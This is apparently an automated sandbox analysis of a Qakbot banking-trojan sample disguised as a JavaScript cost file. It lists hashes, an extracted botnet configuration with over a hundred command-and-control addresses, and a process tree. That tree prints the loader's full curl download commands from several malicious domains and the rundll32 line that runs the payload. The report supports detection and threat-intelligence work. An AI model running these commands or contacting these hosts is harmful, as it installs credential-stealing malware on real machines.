qakbot | 27bb0a8c1d9f9e7eaee26a97bd01f377c1f3048b881107021f60f7804410ebe8

Analysis

max time kernel
146s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
14/06/2023, 18:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CalculationOfCosts-141075452.js
Size 464KB
Sample230614-w8b3esce37
SHA256 8edcea2ccadc4cc3ab40d1e7c650e8b1a13d892ee598582b1503be2e86c77090
MD5 4b773a0dcdedffe32ed1ce4ca68c9092
SHA1 962aa218bd23b2b86635a309df09c0168d14c14c
SHA512 53f84c6fd8aef31e446fb967f7fc517d1886ecd90e8dc33a4be8ee171b21d4bb61e9eae6e6d722926308161dde487506f770226e5272c01ff786d1d8cfcbb874
SSDEEP 6144:LmFamddP19SiU+g9ITla9MGNs9yec26VZU6BboaI7CRY7kkhl:oLU3+gPZUW0F
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

qakbot obama268 1686733312 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

404.1374

Botnet

obama268

Campaign

1686733312

125.99.76.102:443
80.12.88.148:2222
109.149.147.195:2222
27.99.32.26:2222
70.28.50.223:3389
70.28.50.223:32100
86.97.96.62:2222
66.241.183.99:443
74.12.146.45:2222
190.199.147.209:2222
47.205.25.170:443
12.172.173.82:993
12.172.173.82:22
84.35.26.14:995
72.134.124.16:443
85.240.173.251:2078
50.68.186.195:443
65.190.242.244:443
45.62.75.217:443
203.109.44.236:995
174.58.146.57:443
105.184.159.9:995
94.207.115.105:443
197.0.146.211:443
197.204.11.218:443
92.9.45.20:2222
91.169.12.198:32100
12.172.173.82:20
70.64.77.115:443
71.31.9.49:995
24.234.220.88:990
95.45.50.93:2222
213.91.235.146:443
189.223.184.79:443
213.64.33.92:2222
47.34.30.133:443
70.28.50.223:2087
12.172.173.82:465
67.219.197.94:443
103.140.174.20:2222
12.172.173.82:995
90.29.86.138:2222
37.14.229.220:2222
89.181.227.42:2222
62.35.230.21:995
70.160.67.203:443
88.126.94.4:50000
203.219.204.180:443
147.219.4.194:443
92.20.204.198:2222
24.234.220.88:993
188.28.19.84:443
89.115.200.234:443
67.87.119.216:2083
86.98.222.20:443
161.142.100.114:995
103.139.242.6:443
103.123.223.153:443
24.234.220.88:995
102.158.231.164:443
175.156.65.126:2222
41.227.190.59:443
178.175.187.254:443
180.151.13.23:2078
12.172.173.82:50001
116.75.63.143:443
74.12.146.45:2083
78.192.109.105:2222
37.186.55.8:2222
121.121.100.202:995
104.35.24.154:443
199.27.66.213:443
181.165.19.254:443
81.229.117.95:2222
12.172.173.82:21
45.2.61.134:3389
162.248.14.107:443
103.212.19.254:995
2.82.8.80:443
103.144.201.63:2078
114.143.176.237:443
103.113.68.33:443
77.126.99.230:443
47.21.51.138:443
197.86.195.10:443
36.152.128.2:2222
12.172.173.82:32101
86.248.228.57:2078
92.149.250.113:2222
70.28.50.223:1194
82.127.153.75:2222
78.159.145.7:995
82.125.44.236:2222
24.234.220.88:465
64.121.161.102:443
187.199.244.117:32103
122.184.143.86:443
79.168.224.165:2222
65.30.139.145:995
151.62.174.154:443
124.122.47.148:443
31.190.240.11:443
92.239.81.124:443
31.53.29.210:2222
172.115.17.50:443
70.28.50.223:2083
124.149.143.189:2222
176.142.207.63:443
201.244.108.183:995
47.199.241.39:443
98.4.43.111:443
91.68.227.219:443
89.129.109.27:2222
67.87.119.216:2078
86.195.14.72:2222
72.205.104.134:443
1.221.179.74:443
58.162.223.233:443
49.175.72.81:443

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
3752	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4240	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3752	rundll32.exe
3752	rundll32.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3408 wrote to memory of 2892	3408	wscript.exe	91
PID 3408 wrote to memory of 2892	3408	wscript.exe	91
PID 3408 wrote to memory of 1860	3408	wscript.exe	93
PID 3408 wrote to memory of 1860	3408	wscript.exe	93
PID 3408 wrote to memory of 872	3408	wscript.exe	95
PID 3408 wrote to memory of 872	3408	wscript.exe	95
PID 3408 wrote to memory of 1824	3408	wscript.exe	98
PID 3408 wrote to memory of 1824	3408	wscript.exe	98
PID 2892 wrote to memory of 1036	2892	cmd.exe	99
PID 2892 wrote to memory of 1036	2892	cmd.exe	99
PID 3408 wrote to memory of 3356	3408	wscript.exe	100
PID 3408 wrote to memory of 3356	3408	wscript.exe	100
PID 3408 wrote to memory of 4512	3408	wscript.exe	101
PID 3408 wrote to memory of 4512	3408	wscript.exe	101
PID 3408 wrote to memory of 884	3408	wscript.exe	104
PID 3408 wrote to memory of 884	3408	wscript.exe	104
PID 1824 wrote to memory of 4468	1824	cmd.exe	106
PID 1824 wrote to memory of 4468	1824	cmd.exe	106
PID 1860 wrote to memory of 4532	1860	cmd.exe	107
PID 1860 wrote to memory of 4532	1860	cmd.exe	107
PID 3356 wrote to memory of 4948	3356	cmd.exe	110
PID 3356 wrote to memory of 4948	3356	cmd.exe	110
PID 872 wrote to memory of 1184	872	cmd.exe	108
PID 872 wrote to memory of 1184	872	cmd.exe	108
PID 4512 wrote to memory of 1224	4512	cmd.exe	109
PID 4512 wrote to memory of 1224	4512	cmd.exe	109
PID 884 wrote to memory of 4240	884	cmd.exe	111
PID 884 wrote to memory of 4240	884	cmd.exe	111
PID 884 wrote to memory of 2396	884	cmd.exe	112
PID 884 wrote to memory of 2396	884	cmd.exe	112
PID 2396 wrote to memory of 3752	2396	rundll32.exe	113
PID 2396 wrote to memory of 3752	2396	rundll32.exe	113
PID 2396 wrote to memory of 3752	2396	rundll32.exe	113
PID 3752 wrote to memory of 3936	3752	rundll32.exe	114
PID 3752 wrote to memory of 3936	3752	rundll32.exe	114
PID 3752 wrote to memory of 3936	3752	rundll32.exe	114
PID 3752 wrote to memory of 3936	3752	rundll32.exe	114
PID 3752 wrote to memory of 3936	3752	rundll32.exe	114
PID 3752 wrote to memory of 3936	3752	rundll32.exe	114

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\CalculationOfCosts-141075452.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://rapiska.com/0.94284656204215.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\system32\curl.exe
    curl https://rapiska.com/0.94284656204215.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:1036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://tamimak.com/0.16252280927340662.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\curl.exe
    curl https://tamimak.com/0.16252280927340662.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://corfinka.com/0.6119799500401684.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\system32\curl.exe
    curl https://corfinka.com/0.6119799500401684.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:1184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://qderika.com/0.580970860553166.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\system32\curl.exe
    curl https://qderika.com/0.580970860553166.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://bilaska.com/0.3725899986251888.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\system32\curl.exe
    curl https://bilaska.com/0.3725899986251888.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://nirause.com/0.2846274361873046.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\system32\curl.exe
    curl https://nirause.com/0.2846274361873046.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:884
- - C:\Windows\system32\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:4240
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2396
  - - C:\Windows\SysWOW64\rundll32.exe
      rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3752
    - - C:\Windows\SysWOW64\wermgr.exe
        
        C:\Windows\SysWOW64\wermgr.exe
        5⤵
        
        PID:3936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 28KB
SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
MD5 630f9a72692810a09c496e4c474f0e67
SHA1 019149c1463b3391dccd87dfca61e59eb440b3ef
SHA512 9874a9ccac847107b9cff5c80b101940aedbb5f8ee0371c7245988bbbbca5f71d87a2e1c05b3873a4971319b9f961798085c08005ae08eb359eb4bae547f3786
SSDEEP 768:X2UOkY/emEuN51RfWHdCGu79GUiVxNkvEyN:acmES1Ri6iVr2R
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 28KB
SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
MD5 630f9a72692810a09c496e4c474f0e67
SHA1 019149c1463b3391dccd87dfca61e59eb440b3ef
SHA512 9874a9ccac847107b9cff5c80b101940aedbb5f8ee0371c7245988bbbbca5f71d87a2e1c05b3873a4971319b9f961798085c08005ae08eb359eb4bae547f3786
SSDEEP 768:X2UOkY/emEuN51RfWHdCGu79GUiVxNkvEyN:acmES1Ri6iVr2R
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 28KB
SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
MD5 630f9a72692810a09c496e4c474f0e67
SHA1 019149c1463b3391dccd87dfca61e59eb440b3ef
SHA512 9874a9ccac847107b9cff5c80b101940aedbb5f8ee0371c7245988bbbbca5f71d87a2e1c05b3873a4971319b9f961798085c08005ae08eb359eb4bae547f3786
SSDEEP 768:X2UOkY/emEuN51RfWHdCGu79GUiVxNkvEyN:acmES1Ri6iVr2R
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 12KB
SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
MD5 2313a8e859366ccf938d9673a3e5d0bd
SHA1 94fa9d26dda046c753c89df51eec21e681b7e516
SHA512 4400692bb7b6e2dd4b36ea1c8e37ec8ae9a9cfa6c2b541990afdb36a86b2bc30b8900a13c5a757781b7a79cdd6f6b5170ac7968746d9fb90fdaf10c245de9474
SSDEEP 192:GNaH2ZYRLqhcM+YIU5VRnLbnSV2z6d+gz3FBWlKVDDwn20N3n8:GNI2UOSLY/emEBwKNc205n8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 246KB
SHA256 15dc169bfe5c5080eb7666268799af60e5edbe1a6dc2128abed70ed123ce8143
MD5 4a5bffb07f5544523419a5dafad1714d
SHA1 25d6cc730f297692b1a70158a398a83158a61b60
SHA512 4a117afb55e7afd1fe9fa3b64ab0d65845271384bc9a7ffc28ccd3c7c5d73e79b4f0cf6808d7a606940bbdf79493b5db71c68cc737db8627637158db7fca350e
SSDEEP 6144:cRixgWEZ5Txh9QQU7kVTAHluobjrA3XqpyNj7R5o9nPz7gS1TzU:cRwBEZp11EFcUTzU
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 246KB
SHA256 15dc169bfe5c5080eb7666268799af60e5edbe1a6dc2128abed70ed123ce8143
MD5 4a5bffb07f5544523419a5dafad1714d
SHA1 25d6cc730f297692b1a70158a398a83158a61b60
SHA512 4a117afb55e7afd1fe9fa3b64ab0d65845271384bc9a7ffc28ccd3c7c5d73e79b4f0cf6808d7a606940bbdf79493b5db71c68cc737db8627637158db7fca350e
SSDEEP 6144:cRixgWEZ5Txh9QQU7kVTAHluobjrA3XqpyNj7R5o9nPz7gS1TzU:cRwBEZp11EFcUTzU
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 246KB
SHA256 15dc169bfe5c5080eb7666268799af60e5edbe1a6dc2128abed70ed123ce8143
MD5 4a5bffb07f5544523419a5dafad1714d
SHA1 25d6cc730f297692b1a70158a398a83158a61b60
SHA512 4a117afb55e7afd1fe9fa3b64ab0d65845271384bc9a7ffc28ccd3c7c5d73e79b4f0cf6808d7a606940bbdf79493b5db71c68cc737db8627637158db7fca350e
SSDEEP 6144:cRixgWEZ5Txh9QQU7kVTAHluobjrA3XqpyNj7R5o9nPz7gS1TzU:cRwBEZp11EFcUTzU
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3752-145-0x0000000010000000-0x0000000010024000-memory.dmp

Download

memory/3752-144-0x00000000028C0000-0x00000000028C3000-memory.dmp

Download

memory/3752-158-0x00000000647C0000-0x0000000064802000-memory.dmp

Download

memory/3936-150-0x0000000001270000-0x0000000001272000-memory.dmp

Download

memory/3936-151-0x0000000001240000-0x0000000001264000-memory.dmp

Download

memory/3936-157-0x0000000001240000-0x0000000001264000-memory.dmp

Download

memory/3936-159-0x0000000001240000-0x0000000001264000-memory.dmp

Download

memory/3936-160-0x0000000001240000-0x0000000001264000-memory.dmp

Download

memory/3936-161-0x0000000001240000-0x0000000001264000-memory.dmp

Download

memory/3936-162-0x0000000001240000-0x0000000001264000-memory.dmp

Download

memory/3936-163-0x0000000001240000-0x0000000001264000-memory.dmp

Download

memory/3936-164-0x0000000001240000-0x0000000001264000-memory.dmp

Download